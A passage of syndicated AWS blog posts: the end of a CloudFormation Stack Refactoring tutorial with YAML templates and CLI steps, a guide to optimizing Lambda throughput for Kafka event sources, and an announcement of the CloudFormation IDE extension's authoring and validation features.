  2. Create another template many-stacks-refactored-1.yaml. This template **** has the SNS topic UserTopic and contains the IngestFunction and IngestSubscription and required IAM resources from ‘RefactorManyStacks’. This template switched the !Ref IngestTopic to use the exported valued by using !ImportValue IngestTopicArn. This refactored template also a new export in it that will export the UserTopic ARN.
    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      UserTopic:
        Type: AWS::SNS::Topic
      IngestFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: many-stack-my-function
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt IngestFunctionRole.Arn
          Timeout: 30
    
      IngestSubscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt IngestFunction.Arn
          Protocol: lambda
          TopicArn: !ImportValue IngestTopicArn
    
      IngestFunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt IngestFunction.Arn
          SourceArn: !ImportValue IngestTopicArn
    
      IngestFunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:many-stack-my-function"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow
    Outputs:
      UserTopicArn:
        Value: !Ref UserTopic
        Export:
          Name: UserTopicArn
  3. Create another template many-stacks-refactored-2.yaml. This template has the Consumer* resources along with Lambda function (UserFunction) and SNS subscription (UserSubscription). The template is using exported value from many-stacks-refactored-1.yaml by using !ImportValue UserTopicArn

    AWSTemplateFormatVersion: "2010-09-09"
    
    Resources:
      ConsumerTopic:
        Type: AWS::SNS::Topic
    
      ConsumerFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: many-stack-my-function-2
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt ConsumerFunctionRole.Arn
          Timeout: 30
    
      ConsumerSubscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt ConsumerFunction.Arn
          Protocol: lambda
          TopicArn: !Ref ConsumerTopic
    
      ConsumerFunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt ConsumerFunction.Arn
          SourceArn: !Ref ConsumerTopic
    
      ConsumerFunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:many-stack-my-function-2"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow
      UserFunction:
        Type: AWS::Lambda::Function
        Properties:
          FunctionName: many-stack-my-function-1
          Handler: index.handler
          Runtime: python3.12
          Code:
            ZipFile: |
              import json
              def handler(event, context):
                print(json.dumps(event))
                return event
          Role: !GetAtt UserFunctionRole.Arn
          Timeout: 30
    
      UserSubscription:
        Type: AWS::SNS::Subscription
        Properties:
          Endpoint: !GetAtt UserFunction.Arn
          Protocol: lambda
          TopicArn: !ImportValue UserTopicArn
    
      UserFunctionInvokePermission:
        Type: AWS::Lambda::Permission
        Properties:
          Action: lambda:InvokeFunction
          Principal: sns.amazonaws.com
          FunctionName: !GetAtt UserFunction.Arn
          SourceArn: !ImportValue UserTopicArn
    
      UserFunctionRole:
        Type: AWS::IAM::Role
        Properties:
          AssumeRolePolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Action:
                  - sts:AssumeRole
                Effect: Allow
                Principal:
                  Service:
                    - lambda.amazonaws.com
                Condition:
                  StringEquals:
                    aws:SourceAccount: !Ref AWS::AccountId
                  ArnLike:
                    aws:SourceArn: !Sub "arn:${AWS::Partition}:lambda:${AWS::Region}:${AWS::AccountId}:function:many-stack-my-function-1"
          Policies:
            - PolicyName: LambdaPolicy
              PolicyDocument:
                Version: "2012-10-17"
                Statement:
                  - Action:
                      - logs:CreateLogGroup
                      - logs:CreateLogStream
                      - logs:PutLogEvents
                    Resource:
                      - arn:aws:logs:*:*:*
                    Effect: Allow

     

  4. Start the stack refactor using AWS CLI.
    aws cloudformation create-stack-refactor --stack-definitions StackName=RefactorManyStacks,TemplateBody@=file://many-stacks-refactored.yaml StackName=RefactorManyStacks1,TemplateBody@=file://many-stacks-refactored-1.yaml StackName=RefactorManyStacks2,TemplateBody@=file://many-stacks-refactored-2.yaml --description "three stack refactor"
  5. Go to stack CloudFormation console and go to ‘Stack refactor’ homepage, click on the stack refactor you just created.
    Go to stack CloudFormation console and go to ‘Stack refactor’ homepage, click on the stack refactor you just created.
  6. Review actions for each resource and each stack. You can choose individual stacks from drop down.
    Review actions for each resource and each stack. You can choose individual stacks from drop down.
  7. Once you’re ready to execute the stack refactor, click on ‘Execute stack refactor’ and input the confirmation text.
    Once you’re ready to execute the stack refactor, click on ‘Execute stack refactor’ and input the confirmation text.
  8. Wait for stack refactor execution to finish.
    Wait for stack refactor execution to finish.
  9. Click on the stack in the details to navigate to the stack details. You can verify the refactor changes here.
    Click on the stack in the details to navigate to the stack details. You can verify the refactor changes here.

Scenario 3: Move stacks between 2 nested child stacks stacks

This scenario demonstrates how to move resources between child stacks in a nested stack architecture. Upload child stack templates toAmazon Simple Storage Service (Amazon S3), create a parent stack that references them, then use Stack Refactoring to move resources (like a security group) from one child stack to another. The key is to work directly with the child stack names (which CloudFormation auto-generates based on parent stack name and logical IDs) rather than the parent stack itself. After refactoring, update the parent stack to reference the new child template versions in S3.

This approach lets you reorganize nested stack architectures while maintaining the parent-child relationship structure.

  1. Create first child stack template vpc.yaml. This template creates a new Virtual Private Cloud(VPC). Upload this new template file to S3 bucket
    AWSTemplateFormatVersion: '2010-09-09'
    Description: 'VPC Stack - Contains only VPC'
    
    Resources:
      MyVPC:
        Type: AWS::EC2::VPC
        Properties:
          CidrBlock: 10.0.0.0/16
    
    Outputs:
      VPCId:
        Value: !Ref MyVPC
  2. Create second child stack template resource.yaml . This template will create S3 bucket and EC2 Security Group. Once you create this template file, upload it to an S3 bucket
    AWSTemplateFormatVersion: '2010-09-09'
    Description: ' Contains security group and S3 bucket'
    
    Resources:
      MySecurityGroup:
        Type: AWS::EC2::SecurityGroup
        Properties:
          GroupDescription: Security group for testing
          SecurityGroupIngress:
            - IpProtocol: tcp
              FromPort: 80
              ToPort: 80
              CidrIp: 0.0.0.0/0
    
      MyS3Bucket:
        Type: AWS::S3::Bucket
    
    Outputs:
      SecurityGroupId:
        Value: !Ref MySecurityGroup
      S3BucketName:
        Value: !Ref MyS3Bucket
  3. Create parent stack template file parent.yaml. Make sure to edit the TemplateURL with your S3 Object URL

    AWSTemplateFormatVersion: '2010-09-09'
    Description: 'Parent stack for test'
    
    Resources:
      VPCStack:
        Type: AWS::CloudFormation::Stack
        Properties:
          TemplateURL: https://s3.amazonaws.com/<Bucket-Name>/vpc.yaml
    
      ResourceStack:
        Type: AWS::CloudFormation::Stack
        Properties:
          TemplateURL: https://s3.amazonaws.com/<Bucket-Name>/resource.yaml
    
    Outputs:
      VPCStackName:
        Value: !Ref VPCStack
      ResourceStackName:
        Value: !Ref ResourceStack

     

  4. Create this new Parent stack using AWS CLI :
    aws cloudformation create-stack --stack-name ParentStack --template-body file://parent.yaml --capabilities CAPABILITY_IAM
  5. We will use stack refactor to move EC2 Security group from ResourceStack to VPCStack.
  6. Create new template file VPCStackAfter.yaml. This template now has VPC and EC2 Security group resources. Upload this template to S3 bucket
    AWSTemplateFormatVersion: '2010-09-09'
    Description: ' VPC Stack AFTER - Contains VPC and security group'
    
    Resources:
      MyVPC:
        Type: AWS::EC2::VPC
        Properties:
          CidrBlock: 10.0.0.0/16
    
      MySecurityGroup:
        Type: AWS::EC2::SecurityGroup
        Properties:
          GroupDescription: Security group for testing
          SecurityGroupIngress:
            - IpProtocol: tcp
              FromPort: 80
              ToPort: 80
              CidrIp: 0.0.0.0/0
    
    Outputs:
      VPCId:
        Value: !Ref MyVPC
      SecurityGroupId:
        Value: !Ref MySecurityGroup
  7. Create ResourceStackAfter.yaml The resource stack will only contain s3 bucket resource. Upload this template to S3 bucket
    AWSTemplateFormatVersion: '2010-09-09'
    Description: 'Resource Stack AFTER - Contains only S3 bucket'
    
    Resources:
      MyS3Bucket:
        Type: AWS::S3::Bucket
    
    Outputs:
      S3BucketName:
        Value: !Ref MyS3Bucket
  8. Navigate to CloudFormation Console and select Start stack refactor
  9. Add a description for Stack refactor:
    Add a description for Stack refactor:
  10. Choose “Update the template for an existing stack” and select child stack “ParentStack-VPCStack-12345”. Make sure to choose the child stack and not the Root/Parent stack.
    Choose “Update the template for an existing stack” and select child stack “ParentStack-VPCStack-12345”. Make sure to choose the child stack and not the Root/Parent stack.
  11. Upload the new template VPCStackAfter.yaml
    Upload the new template VPCStackAfter.yaml
  12. For Stack2, again select ‘Update the template for an existing stack’ and select to 2nd child stack “ParentStack-ResourceStack-12345”
  13. Upload the template ResourceStackAfter.yaml
    Upload the template ResourceStackAfter.yaml
  14. Review the Stack refactor. Once you have verified all the actions and details choose ‘Execute Refactor’
    Review the Stack refactor. Once you have verified all the actions and details choose ‘Execute Refactor
  15. You can verify the refactor templates.
    stack Console
  16. Lastly, update your ParentStack.yaml to reference the new child template versions in S3 bucket.
    AWSTemplateFormatVersion: '2010-09-09'
    Description: 'Parent stack for test'
    
    Resources:
      VPCStack:
        Type: AWS::CloudFormation::Stack
        Properties:
          TemplateURL: https://s3.amazonaws.com/<Bucket-Name>/VPCStackAfter.yaml
    
      ResourceStack:
        Type: AWS::CloudFormation::Stack
        Properties:
          TemplateURL: https://s3.amazonaws.com/<Bucket-Name>/ResourceStackAfter.yaml
    
    Outputs:
      VPCStackName:
        Value: !Ref VPCStack
      ResourceStackName:
        Value: !Ref ResourceStack

Best Practices

Stack Refactoring offers powerful flexibility, but a few strategic considerations will help ensure smooth operations. Test your refactoring plans in non-production environments first, particularly when working with complex dependency chains or resources that have strict ordering requirements. The preview phase becomes your primary safety mechanism—treat it as a thorough code review, examining each planned action before execution. When moving resources between stacks, pay close attention to cross-stack references. Converting direct references to export/import patterns maintains loose coupling and prevents circular dependencies. CloudFormation will automatically manage these conversions during refactoring, but understanding the resulting architecture helps you avoid introducing fragility into your infrastructure.

For scenarios where you’re emptying a source stack entirely, remember that CloudFormation requires at least one resource per stack. This makes placeholder resources like AWS::CloudFormation::WaitConditionHandle a useful temporary measure—they consume no actual AWS resources and can be safely deleted along with the stack once the refactoring completes.

Document your refactoring decisions alongside the templates themselves. Future maintainers (including yourself in six months) will appreciate understanding why resources were organized in particular ways. Include comments in your templates explaining the reasoning behind stack boundaries and resource groupings.

Consider the operational impact of your refactoring. While resources themselves remain stable, monitoring dashboards, automation scripts, or other tooling that references stack names or logical IDs may need updates. Plan these ancillary changes as part of your refactoring workflow rather than discovering them afterward.

Finally, leverage refactoring as an opportunity to improve template quality more broadly. If you’re already reorganizing resources, consider also updating documentation, standardizing naming conventions, or adding tags for better resource management.

Conclusion

CloudFormation Stack Refactoring transforms how you organize and maintain infrastructure as code, enabling stack architecture to evolve alongside applications and organizational needs. This capability provides the flexibility to restructure without the risk and complexity of traditional resource recreation approaches. Whether you’re breaking apart monolithic stacks, consolidating fragmented infrastructure, or simply renaming resources to match current conventions, Stack Refactoring lets you adapt CloudFormation organization to changing requirements without operational disruption.

To get started, visit the CloudFormation console or explore the AWS CloudFormation API reference for programmatic access patterns. Stack Refactoring is available today in all commercial AWS regions.

Brian Terry

Brian Terry

Brian Terry, Senior WW Data & AI PSA, is an innovation leader with 20+ years of experience in technology and engineering. Pursuing a Ph.D. in Computer Science at the University of North Dakota. Brian has spearheaded generative AI projects, optimized infrastructure scalability, and driven partner integration strategies. He is passionate about leveraging technology to deliver scalable, resilient solutions that foster business growth and innovation

Idriss Louali Abdou

Idriss Laouali Abdou

Idriss Laouali Abdou is a Sr. Product Manager Technical on the AWS Infrastructure-as-Code team based in Seattle. He focuses on improving developer productivity through AWS CloudFormation and StackSets Infrastructure provisioning experiences. Outside of work, you can find him creating educational content for thousands of students, cooking, or dancing.

Sanchi Halikar

Sanchi Halikar

Sanchi is a Solutions Architect supporting Enterprise customers at AWS. She helps customers design and implement cloud solutions with a focus on DevOps strategies. She specializes in Infrastructure as Code and is passionate about leveraging generative AI in software development

Jamie, AWS IaC console Front-end engineer

Jamie To

Jamie is a Front End Engineer and has been delivering console features to AWS IaC customers for the last 3 years. Outside of work, Jamie enjoys drawing and playing foosball.

Improving throughput of serverless streaming workloads for Kafka

Post Syndicated from Anton Aleksandrov original https://aws.amazon.com/blogs/compute/improving-throughput-of-serverless-streaming-workloads-for-kafka/

Event-driven applications often need to process data in real-time. When you use AWS Lambda to process records from Apache Kafka topics, you frequently encounter two typical requirements: you need to process very high volumes of records in close to real-time, and you want your consumers to have the ability to scale rapidly to handle traffic spikes. Achieving both necessitates understanding how Lambda consumes Kafka streams, where the potential bottlenecks are, and how to optimize configurations for high throughput and best performance.

In this post, we discuss how to optimize Kafka processing with Lambda for both high throughput and predictable scaling. We explore the Lambda’s Kafka Event Source Mappings (ESMs) scaling, optimization techniques available during record consumption, how to use ESM Provisioned Mode for bursty workloads, and which observability metrics you need to use for performance optimization.

Overview

To start processing records from a Kafka topic with a Lambda function, whether using Amazon Managed Streaming for Apache Kafka (Amazon MSK) or a self-managed Kafka cluster, you create an ESM: a lightweight serverless resource that consumes records from Kafka topics and invokes your function.

The scaling behavior of Kafka ESMs is based on the offset lag. This is a metric indicating the number of records in the topic that have not yet been consumed by the Lambda function. This metric typically grows when producers publish new records faster than consumers process them. As the lag grows, the Lambda service gradually adds more Kafka consumers (also known as pollers) to your ESM. To preserve ordering guarantees, the maximum number of pollers is capped by the number of partitions in the topic. Lambda also scales pollers down automatically when lag decreases.

Each ESM follows a consistent polling workflow: poll -> filter -> batch -> invoke, as shown in the following diagram. Every stage has configurable options that directly affect performance, latency, and cost.


Figure 1. ESM processing workflow.

Polling: Increasing predictability with Provisioned Mode

By default, Kafka ESM uses the on-demand polling mode. In this mode, ESM starts with one poller, automatically adds more pollers when the offset lag grows, and scales the number of pollers down as lag decreases. On-demand mode does not need upfront scaling configuration and is the lowest-cost option for steady workloads. For many applications, this behavior is sufficient: scaling up can take several minutes, but the throughput eventually catches up, and you only pay for the resources you use, such as number of invocations.

However, if your workloads are bursty and latency-sensitive, then on-demand scaling may not be fast enough and can result in a rapidly growing lag. This can be addressed by switching to Provisioned Mode, which gives you more fine-grained control to configure a minimum and maximum number of always-on pollers for your Kafka ESM. These pollers remain connected even when traffic is low, so consumption begins immediately when a spike occurs, and scaling within the configured range is faster and more predictable.

The following diagram shows the performance improvements of using the ESM in Provisioned Mode for bursty workloads. You can see that in on-demand mode it took ESM over 15 minutes to eventually catch up to the new traffic volume, while in Provisioned Mode the ESM handled the traffic increase instantly.


Figure 2. Comparing Kafka ESM on-demand and Provisioned Mode.

Best practices for using Provisioned Mode:

  • Start small: Provisioned Mode is a paid capability. AWS recommends that for smaller topics (less than 10 partitions) you start with a single provisioned poller to evaluate throughput and observe workload behavior. For larger topics, you can start with a higher number of provisioned pollers to accommodate the baseline consumption. You can adjust this configuration at any time as you learn traffic patterns and refine your performance targets.
  • Estimate throughput: A single provisioned poller can process up to 5 MB/s of Kafka data. Monitor your average record size and per-record processing time to establish a baseline for minimum and maximum pollers, then validate with real workload metrics.
  • Set a low floor and flexible ceiling: Choose a minimum number of pollers that makes sure that latency targets are met when a traffic burst occurs, then allow the ESM to scale toward a higher maximum as needed.

See Low latency processing for Kafka event sources for more information.

To summarize:

  • Use Provisioned Mode for bursty traffic, strict SLOs, or when backlogs pose downstream risk.
  • Use on-demand polling mode for steady traffic, flexible latency requirements, or when minimizing cost is the primary objective.

Filtering: Drop irrelevant records early

By default, all records from Kafka are delivered to your Lambda function. This approach is direct and flexible. Your handler code decides which records to process and which to ignore. This default behavior is highly efficient for workloads where nearly all records are valuable.

When you find yourself discarding a large portion of records in your handler code, you can use native ESM filtering capabilities to drop irrelevant records before they reach your function. You can filter early to reduce cost, free up concurrency, increase throughput, and make sure that your Lambda function spends cycles on valuable work only.

The following diagram shows the application of an ESM filter to only process telemetry that meets a specified condition.


Figure 3. ESM filtering configuration.

Batching: Processing more records per invocation

You can batch multiple Kafka records together to process more data per invocation and increase the efficiency of your Lambda functions. Larger batches help you achieve higher throughput and reduce costs by making better use of each invocation run. To get the best results, you should balance batch size and latency targets and adjust the configuration based on your workload’s specific traffic patterns and SLOs.

Lambda gives you two primary controls for configuring ESM batching behavior:

  • Batch window: This is how long the ESM waits to accumulate records before invoking your function. A shorter window produces smaller batches and more frequent invocations. A longer window (up to 5 minutes) produces larger batches and less frequent invocations.
  • Batch size: This is the maximum number of records that the ESM can accumulate before invoking your function, up to 10,000.

There’s no single setting that universally works for all workloads. Your optimal configuration depends on workload characteristics such as latency tolerance and record size. AWS recommends starting with the default values and then gradually adjusting the configuration based on your requirements. For example, you can increase the batch size while monitoring function duration, error rates, and end-to-end latency.

The following diagram shows how to configure batch window and size using Terraform:


Figure 4. ESM batch window and batch size configuration with Terraform.

The ESM invokes your function when one of the following three conditions is met:

  1. The batch window elapses.
  2. The accumulated batch reaches the configured maximum batch size.
  3. The accumulated payload approaches the 6 MB maximum invocation payload limit of Lambda.

When using higher batch window values during traffic spikes, you typically see more records-per-batch and longer function invocation durations. This is normal: larger batches can take longer to process. Always interpret the Duration metric in the context of the batch size being processed.

Invoke: Process each batch faster and more efficiently

You control how quickly each batch completes through two main factors: the efficiency of your function code and the compute resources you allocate to your functions. You can improve both to process more records per second, reduce the necessary concurrency, and lower cost.

Optimize your code: Review your function handler code to identify where you can reduce work per record. For example, eliminate redundant serialization, initialize dependencies once during function startup, and consider parallel processing within the handler (where applicable). For performance-critical workloads, you can also choose languages that compile to binary, such as Go or Rust, which typically deliver high performance with lower resource usage.

Tune compute resources: Increasing the memory function allocation proportionally increases vCPU. Use the Lambda PowerTuning tool to find the memory configuration that best balances performance and cost for your workload.

Correlate metrics: As you optimize, monitor Duration and Concurrency. You should see the concurrency drop as duration improves. That correlation confirms that your changes are improving the system throughput and efficiency.

When you combine handler optimizations with early filtering and efficient batching, even small improvements can make your pipeline noticeably faster to operate under load.

Observability drives good decisions

You can’t optimize what you can’t see. To tune your data processing pipeline, use a combination of OffsetLag, function invocation metrics, and Kafka broker metrics to understand your data processing performance. OffsetLag tells you whether your function is keeping up with incoming records, as shown in the following figure. Function metrics such as Duration, Concurrency, Errors, and Throttles show how efficiently your code is processing record batches. If you use Provisioned Mode, then you can use the Provisioned Pollers metric to track the poller capacity.


Figure 5. Kafka consumption observability with Amazon CloudWatch.

Always interpret function duration in the context of batch size. During traffic spikes, you can typically observe both duration and actual batch size increase, which is expected amortization, not a regression. For alerting, monitor lag growth, unexpected drops in invocation rate, and error spikes. With these signals in place, you can detect issues early and tune your configuration with confidence.

A sample step-by-step optimization loop

  1. Establish a clean baseline: Make your handler idempotent and batch-aware, start with a short batch window and moderate batch size. Monitor your ESM and confirm offset lag stays near zero at steady state.
  2. Filter early: Move static checks (record type, version, other custom properties) into ESM filtering and verify invoked counts drop relative to polled counts, proving the filter saves cost and concurrency.
  3. Increase batch size gradually while monitoring the duration, error rates, and latency metrics. Extend the batch window slightly if spikes cause too many invocations.
  4. Speed up the handler: Increase memory for more CPU, reduce per-record I/O, remove redundant serialization, and parallelize safely inside the batch while tracking duration and concurrency metrics together.
  5. Prove spike readiness: Replay realistic surges, monitor offset lag and drain time, and enable Provisioned Mode with a small minimum if recovery takes too long, adjusting with MB/s-per-poller estimates.
  6. Implement alerting: Watch for sustained lag growth, unexpected gaps between polled and invoked, and error spikes tied to partitions or large batches. Always read metrics in context with batch size.
  7. Re-evaluate periodically: Re-measure system throughput, confirm filter effectiveness, and retune batch and memory settings regularly as workloads evolve.

Conclusion

Optimizing Kafka streams processing with AWS Lambda necessitates understanding how ESMs work and tuning consumption components: polling, filtering, batching, and invoking. Filtering redundant records early removes unnecessary work, batching helps you process more records per invocation, and handler optimizations make sure that you make the most of the compute that you allocate. Together, these adjustments let you scale efficiently and keep offset lag under control.

When your workload is bursty, use Provisioned Mode to absorb spikes without long recovery times. With the right alerts on lag, errors, and unexpected polled versus invoked behavior, you can spot problems early and adjust before they impact users. Following this optimization guide gives you a practical way to measure, tune, and revisit your setup as traffic patterns change.

To learn more about optimizing Kafka consumption, see the AWS re:Invent 2024 session about Improving throughput and monitoring of serverless streaming workloads.

To learn more about building Serverless architectures see Serverless Land.

Announcing CloudFormation IDE Experience: End-to-End Development in Your IDE

Post Syndicated from Damola Oluyemo original https://aws.amazon.com/blogs/devops/announcing-cloudformation-ide-experience-end-to-end-development-in-your-ide/

If you’ve developed AWS CloudFormation templates, you know the drill; write YAML(YAML Ain’t Markup Language) in your IDE(Integrated Development Environment), switch to the AWS Management Console to validate, jump to documentation to verify property names. Then run CFN Lint(Cloudformation Linter) in your terminal, deploy and wait, then troubleshoot failures back in the console. This constant context switching between your IDE, AWS Console, documentation pages, and validation tools fragments your workflow and kills productivity. What should take 30 minutes often stretches into hours of iteration cycles.

Today, we’re excited to introduce the CloudFormation IDE Experience, a comprehensive solution that brings the entire CloudFormation development lifecycle into your IDE. No more context switching. No more fragmented workflows. Just one unified, intelligent development experience from authoring to deployment.

In this post, you’ll learn how the Cloudformation IDE Experience transforms your workflow with intelligent authoring, real-time validation, AWS integration, and more.

What is the CloudFormation IDE Experience?

The CloudFormation IDE Experience reimagines how you build infrastructure as code by creating an end-to-end development loop entirely within your IDE. Unlike generic YAML or JSON editors, this is a CloudFormation-first solution built specifically for infrastructure developers.

This solution covers the complete lifecycle; from intelligent authoring with smart code completion and navigation that understands CloudFormation semantics, to real-time multi-layer validation that catches issues before deployment. It provides direct AWS integration for seamless resource imports and stack visibility, monitors configuration drift between your templates and deployed resources, and includes server-side pre-deployment checks that prevent common deployment failures.
The result? A development environment that understands your infrastructure code as deeply as your IDE understands your application code.

Core Features

Quick Project Setup with CFN Init

CFN Init streamlines project setup by creating a structured CloudFormation project with environment configurations in seconds. Run “CFN Init: Initialize Project” from the Command Palette, configure your environments (dev, staging, production), and associate each with an AWS profile.

The CloudFormation Explorer displays your environments, letting you switch between them with a single click. Each environment maintains its own deployment settings and parameter values, eliminating manual configuration and ensuring consistent deployments across your infrastructure lifecycle.

Intelligent Authoring with Intelligent Code Completion

The IDE understands CloudFormation semantics and provides context-aware suggestions as you type. Only required properties appear automatically, while optional properties surface on hover, so when you add a Properties section to an EC2 VPC resource, nothing appears because it has no required properties. Create a subnet, however, and VpcId appears immediately because it’s required.

When you use !GetAtt or !Ref, the IDE knows exactly which attributes and resources are available. Navigation features like go-to-definition for logical IDs and hover tooltips let you explore complex templates without losing context. The IDE also provides full support for CloudFormation intrinsic functions and pseudo parameters.

Multi-Layer Validation System

The IDE provides comprehensive validation at multiple levels:

Static Validation (Real-time)

  • CloudFormation Guard Integration: Security and compliance checks using AWS Security pillar rules. For example, it automatically flags insecure configurations like MapPublicIpOnLaunch: true on subnets
  • CFN Lint Integration: Advanced syntax and logic validation, including overlapping CIDR block detection, resource dependency validation, and property checks beyond basic schema validation

Interactive Error Resolution
When errors occur, the IDE doesn’t just highlight them, it helps you fix them. Contextual error messages explain what’s wrong and why it matters, while one-click quick fixes automatically correct common issues like missing required properties or invalid reference formats. If you reference a non-existent resource, the IDE suggests valid alternatives from your template. Reference an invalid attribute with !GetAtt, the IDE immediately shows which attributes are actually available for that resource type.

AWS Resource Integration (CCAPI)

Import existing AWS resources directly into your templates using the Cloud Control API (CCAPI). Browse live resources and view all CloudFormation stacks in your AWS account from within the IDE. Pull resource configurations directly into your template with one click, complete with accurate property values. This transforms existing infrastructure into Infrastructure-as-Code without manual reconstruction or switching to the console to look up property values.

Server-Side Validation

Before you deploy, the IDE performs comprehensive server-side validation through AWS’s intelligent validation service that analyzes your CloudFormation templates against real-world deployment patterns and catches issues static analysis can’t detect.

The AWS’s intelligent validation service uses AWS-managed hooks to analyze your change sets before execution across three categories. Enhanced template validation covers CFN Lint blind spots like transforms and parameter values. Primary identifier conflict detection finds existing resources with the same identifiers before you attempt deployment. Resource state validation checks resource readiness ensuring, for example, that Amazon Simple Storage Service(S3) buckets are empty before deletion attempts.

This validation is based on analysis of the top CloudFormation failure patterns, helping you catch issues before they cause rollbacks or failed states.

Getting Started

Getting started with the CloudFormation IDE Experience is straightforward:

Prerequisite:

  1. Install an IDE that supports the CloudFormation extension, such as Visual Studio Code, Kiro
  2. Download the CloudFormation extension for your platform (available through the AWS Toolkit)
  3. Install the extension following the standard VS Code extension installation process

No complex dependency management or schema updates required—all configuration and updates are handled automatically.

Let’s See How It Works

Let’s walk through a practical example that demonstrates the IDE experience in action. We’ll build a simple Amazon Virtual Private Cloud (Amazon VPC) infrastructure with subnets and an S3 bucket.

Setting Up Your Project

Start by initializing a new CloudFormation project. Open the Command Palette, run “CFN Init: Initialize Project”, choose your project location, and set up environments. For this example, create a “beta” environment and associate it with your AWS development profile. The IDE creates your project structure with configuration files ready to use. You can now select your “beta” environment from the CloudFormation Explorer to ensure all deployments use the correct settings.

Figure 1: Initializing a CloudFormation project with environment configuration

Starting with Intelligent Authoring

Create a new CloudFormation template and start typing AWS::EC2::VPC. The IDE provides intelligent completions as you type.

Cloudformation IDE extension intelligent completion

Figure 2.0: Resource type auto-completion with CloudFormation-aware IntelliSense

When you add the Properties section, notice something interesting: nothing appears automatically. That’s because Amazon Elastic Compute Cloud (Amazon EC2) VPC has no required properties.

Cloudformation IDE extension doesn't suggest optional properties
Figure 2.1: No automatic suggestions for VPC properties since none are required

Hover over Properties to see all available options with their types and documentation links.

Hover information displaying optional properties and their documentation

Figure 2.2: Hover information displaying optional properties and their documentation

Add a CIDR block, then create a subnet. This time, when you type Properties, VpcId appears immediately because it’s required.

Required properties VpcID automatically suggested for EC2 Subnet
Figure 2.3: Required properties VpcID automatically suggested for EC2 Subnet

The IDE provides the resource names in your template, and when you use !GetAtt or !Ref, it knows which attributes are available for each resource type.

Type-aware completions for intrinsic functions like !GetAtt & !Ref

Figure 2.4: Type-aware completions for intrinsic functions like !GetAtt & !Ref

Real-Time Validation in Action

As you continue building, add MapPublicIpOnLaunch: true to make a public subnet. Immediately, a blue squiggly line appears.

CloudFormation Guard warning highlighted in real-time

Figure 3: CloudFormation Guard warning highlighted in real-time

Hovering reveals a CloudFormation Guard warning from the AWS Security pillar rules: this configuration isn’t recommended for security compliance.

Security compliance warning with detailed explanation

Figure 3.1: Security compliance warning with detailed explanation

Create a second subnet by copying the first, but now red squiggly lines appear. CFN Lint has detected overlapping CIDR blocks between your two subnets – an issue that would fail during deployment. You can fix it immediately with the contextual information provided.

CFN Lint error detection for overlapping CIDR blocks providing detailed error information helping you resolve the issue quickly
Figure 3.2: CFN Lint error detection for overlapping CIDR blocks providing detailed error information helping you resolve the issue quickly

Importing Existing Resources

Now you need an S3 bucket. Instead of writing it from scratch, open the Resource Explorer panel on the left. Using CCAPI integration, you can see all your existing AWS resources. Select an S3 bucket and click “Import resource state”. The IDE pulls in the complete resource configuration with all properties already set. You can now iterate on this resource without needing to remember or look up all the configuration details.

Automatically imported resource configuration from live AWS resources

Figure 4: Automatically imported resource configuration from live AWS resources

Developer Experience Benefits

The CloudFormation IDE Experience delivers measurable improvements across productivity and quality:

Productivity Gains:

  • Reduced context switching: Keep your entire workflow in one place
  • Faster iteration cycles: Catch and fix issues in seconds, not minutes or hours
  • Shift-left validation: Identify problems before deployment, not after
  • Intelligent assistance: Spend less time in documentation, more time building

Quality Improvements:

  • Proactive error prevention: Multi-layer validation catches issues early
  • Security by default: Built-in compliance checks from CloudFormation Guard
  • Best practice enforcement: Automated guidance aligned with AWS recommendations
  • Deployment confidence: Pre-deployment validation reduces rollback scenarios

What previously took hours of troubleshooting and multiple deployment attempts now becomes a confident 30-minute development cycle.

“I will definitely use these features; they help to reduce the feedback loop and speed up the development of IaC templates.” – AWS Community Builder

Things to Know

Platform Support

The CloudFormation IDE Experience is available for:

  • Visual Studio Code: Full feature support
  • Kiro: Full feature support
  • Cursor: Full feature support
  • JetBrains IDEs: Complete integration across the IntelliJ family (Fast Follow)
  • Operating Systems: macOS (ARM), Linux (x64) and Windows(…)

Conclusion

The CloudFormation IDE Experience eliminates the context switching that fragments your workflow. Write, validate, and deploy all from one environment. What used to take hours of iteration now takes minutes.

Ready to get started? Install the CloudFormation extension from the AWS Toolkit for VS Code and experience the difference. For detailed setup instructions and feature documentation, see the CloudFormation IDE Experience guide.

About the Authors:

Damola Oluyemo

